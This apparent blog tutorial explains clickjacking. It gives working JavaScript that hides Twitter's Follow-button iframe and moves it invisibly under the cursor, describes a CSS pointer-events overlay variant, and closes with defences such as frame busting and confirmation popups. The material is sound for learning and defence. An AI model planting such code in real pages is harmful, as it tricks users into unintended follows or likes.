Clickjacking explained

Clickjacking attacks are an emerging threat on the web. Let’s consider first type of such attacks which compromising target display integrity – the guarantee that users can fully see and recognize the target element before an input action. First, let me explain clickjacking basics.

Let’s say you added “Follow” button from Twitter.

<a href="https://twitter.com/podlipensky" class="twitter-follow-button" data-show-count="false">Follow @podlipensky</a>
<script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>

Once twitter’s script is loaded, it replaces “Follow” link with an iframe. This is where clickjacking attack begins. Here is an example how to catch the moment when iframe is in place and ready to be attacked:

function init(){
  var doc = document,
   body = doc.body,
   frames = doc.getElementsByTagName('iframe'),
   len = frames && frames.length,
   frame, i, found = false;
  for(i = 0; i < len; i++){
   frame = frames[i];
   if(/^https?://platform.twitter.com/widgets/follow_button.*/gi.test(frame.getAttribute('src'))){
    //event subscription should be placed here

    found = true;
    break;
   }
  }
  if(!found){
   window.setTimeout(init, 1);
  }
}
window.setTimeout(init, 0);

Then script make iframe positioned absolute, thus it can be moved across the page without other elements being disturbed. In addition script make iframe invisible by setting opacity to 0.

Now script subscribes to window’s mousemove event and move iframe under user’s cursor until he make first click.

var startMoveButton = function(e){
  e = e || window.event;
  //calculate cursor position and shift iframe a little bit, in order to make sure user will click inside iframe even if he moves cursor fast
  var x = e.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 ) - 20,
      y = e.clientY + ( doc && doc.scrollTop || body && body.scrollTop || 0 ) - ( doc && doc.clientTop || body && body.clientTop || 0 ) - 5;
  frame.style.position = 'absolute';
  frame.style.left = x + 'px';
  frame.style.top = y + 'px'; 
},
stopMoveButton = function(){
  removeListener(doc, 'mousemove', startMoveButton);
  removeListener(window, 'blur', stopMoveButton); //listen for this window blur event, this MAY indicate user's click inside iframe
};

...

//once we found the iframe - do event subscription 
if(/^https?://platform.twitter.com/widgets/follow_button.*/gi.test(frame.getAttribute('src'))){
  addListener(doc, 'mousemove', startMoveButton);
  addListener(window, 'blur', stopMoveButton);
  found = true;
  break;
}

The only tricky place here is how to figure out when user is clicked inside iframe? Once cursor reach iframe, main script can’t receive any mouse events including click event. But it can try to guess when such click may happen by listening current window blur event. That’s it –  when user clicked somewhere inside iframe, current window will loose the focus. And as script knows that the only iframe user can click in –  Twitter button, attacker may assume that first blur event equal to click event. At this point it make sense to remove all event listeners and leave iframe alone, so user won’t click on it second time and won’t see popup window (which appears by default in such case).

View Demo

But current implementation will loose user’s first click, which could make user suspicious. In more advanced implementations, script may figure out what user wanted to click on and imitate user’s click after all event listeners removed.

A usual prerequisite of the clickjacking attack is that the victim must be authenticated against an attackers target web page to perform actions on it. So reconnaissance could be done via visitor’s social networks detection. It allows hacker to detect social networks user’s currently logged and switch target of assault on the fly, so the attack will be more successful.

Although there are other corner cases, when, for example, iframe resized to 1×1 pixel size and then attacker adds as many such iframes as he need to draw custom graphics by using those iframes.

CSS-only clickjacking

Again, nothing new, but still worth to mention CSS-only vector. The attack is possible because of pointer-events CSS property, which allows you to specify how the mouse interacts with the element it is touching. The pointer-events property can have many values, but many of them are only applicable to SVG*: auto, none, visiblePainted*, visibleFill*, visibleStroke*, visible*,painted*, fill*, stroke*, all*, and inherit. The none value prevents the click, state, and cursor actions. So placing element with pointer-events: none over target iframe let clicks flow through to element underneath.

Although it was originally intended for SVG elements, browser support for pointer-events on other elements is pretty good, except for IE and Opera.

That’s why for cross-browser solution you need to use SVG element as overlay and use this hack (IE7-8, not 9 and not sure about 10):

filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='your-transparent.png', sizingMethod='scale');

background:none !important;

View Demo

Defence

The most common defense, called frame busting, prevents a site from functioning when loaded inside a frame. But there are some use cases when page is intended to be inside iframe, such as Facebook “Like” button or Twitter “Follow” button. These buttons still suffer from clickjacking attacks. Some companies sue spammers as a defense to clickjacking. Others choose to show popup windows once user clicked inside iframe, although it degrades user experience, especially in case of single-click-button. This is exactly what Twitter do for the “Retweet” button. Facebook currently deploys this approach for the “Like” button, asking for confirmation whenever requests come from blacklisted domains. I’ve heard that Googlebot perform some clickjacking heuristics while indexing pages with its “+1” button (checking computed styles, elements overlapping and so on)…

From user perspective of view, you can install NoScirpt extension for Firefox. It compares the bitmap of the clicked object on a given web page to the bitmap of that object rendered in isolation (e.g., without transparency inherited from a malicious parent element).

Also it is good to note, that iframed buttons always should change user’s cursor and display tooltips, so it will be more obvious for user what he is about to click on.

Final notes

And the last note, why Facebook, Twitter and others uses iframes for “Like” and “Follow” buttons? Why not just generate div on a page? First of all, absence of iframe won’t protect them from clickjacking – attacker could hide and move any element on the page (not only iframe). Second, the link originates from the iframe, a CSRF (cross-site request forgery) token can be embedded in the request and the parent site cannot read this token and forge the request. So the iframe is an anti-CSRF measure that relies upon the SOP rules to protect itself from a malicious parent.